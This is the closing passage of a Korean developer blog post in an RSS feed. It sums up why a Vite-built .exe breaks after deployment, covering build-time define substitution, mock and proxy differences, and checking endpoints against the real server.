</code></pre>
<hr>
<h3 id="🎉-마무리">🎉 마무리</h3>
<p>이제는 <code>.exe</code> 빌드만 하면 먹통 되는 이유를 안다!</p>
<p>다음에 비슷한 상황이 오면 <strong>무조건 3가지를 먼저 확인</strong>하자:</p>
<ol>
<li><strong>엔드포인트 오타나 환경변수 설정 실수는 배포 전 실서버로 반드시 검증하자</strong></li>
<li><strong>Vite define 치환은 빌드 시점에 고정되므로, 런타임 수정 불가</strong></li>
<li><strong>mock, proxy는 개발을 편하게 해주지만, 배포와는 완전히 다르다</strong></li>
</ol>
<p>이게 바로 <strong>개발 모드의 마법</strong>이 배포 모드에서 <strong>재앙이 되는 메커니즘 입니다.</strong></p>
<p>이 글이 비슷한 문제로 멘붕하는 분들께 도움이 되었으면 좋겠습니다 🙏</p>
<p>나처럼 안 헤매고 배포까지 쭉쭉 가세요! 🚀</p>
]]></description>
        </item>
    </channel>
</rss>